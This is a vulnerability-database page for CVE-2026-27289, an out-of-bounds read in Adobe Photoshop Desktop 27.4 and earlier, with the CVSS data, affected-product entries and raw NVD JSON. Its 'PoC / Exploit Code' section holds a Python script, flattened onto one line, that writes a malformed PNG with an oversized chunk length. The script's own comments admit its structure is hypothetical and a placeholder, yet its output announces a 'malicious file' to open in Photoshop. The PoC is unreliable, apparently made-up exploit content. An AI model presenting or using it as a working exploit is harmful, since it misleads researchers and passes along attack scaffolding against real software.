Security Vulnerability Report
中文
CVE-2026-27289 CVSS 7.8 HIGH

CVE-2026-27289

Published: 2026-04-14 20:16:34
Last Modified: 2026-04-15 19:34:55

Description

Photoshop Desktop versions 27.4 and earlier are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:photoshop:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Photoshop Desktop <= 27.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import struct # Proof of Concept (PoC) for CVE-2026-27289 # This script generates a crafted file designed to trigger the Out-of-Bounds Read vulnerability. # Note: The specific binary structure required to trigger the crash is hypothetical and # serves as a placeholder for the actual exploit payload. def generate_malicious_file(filename): # Generic header for a known image format (e.g., PNG) # In a real exploit, this header would be malformed to bypass initial checks header = b'\x89PNG\r\n\x1a\n' # Crafted chunk intended to cause the parser to read past the buffer # Length field indicates a large size, but actual data is small chunk_length = struct.pack('>I', 0xFFFFFFFF) chunk_type = b'vUlN' chunk_data = b'A' * 10 # Minimal data chunk_crc = struct.pack('>I', 0x00000000) # Dummy CRC with open(filename, 'wb') as f: f.write(header) f.write(chunk_length) f.write(chunk_type) f.write(chunk_data) f.write(chunk_crc) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[*] Open this file in Adobe Photoshop Desktop <= 27.4 to reproduce the issue.") if __name__ == "__main__": output_file = "cve_2026_27289_exploit.png" generate_malicious_file(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27289", "sourceIdentifier": "[email protected]", "published": "2026-04-14T20:16:34.140", "lastModified": "2026-04-15T19:34:54.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Photoshop Desktop versions 27.4 and earlier are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:photoshop:*:*:*:*:*:*:*:*", "versionEndExcluding": "27.5", "matchCriteriaId": "A5BBBC3E-FFFC-43E8-BC3F-C7BF1415D423"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/photoshop/apsb26-40.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}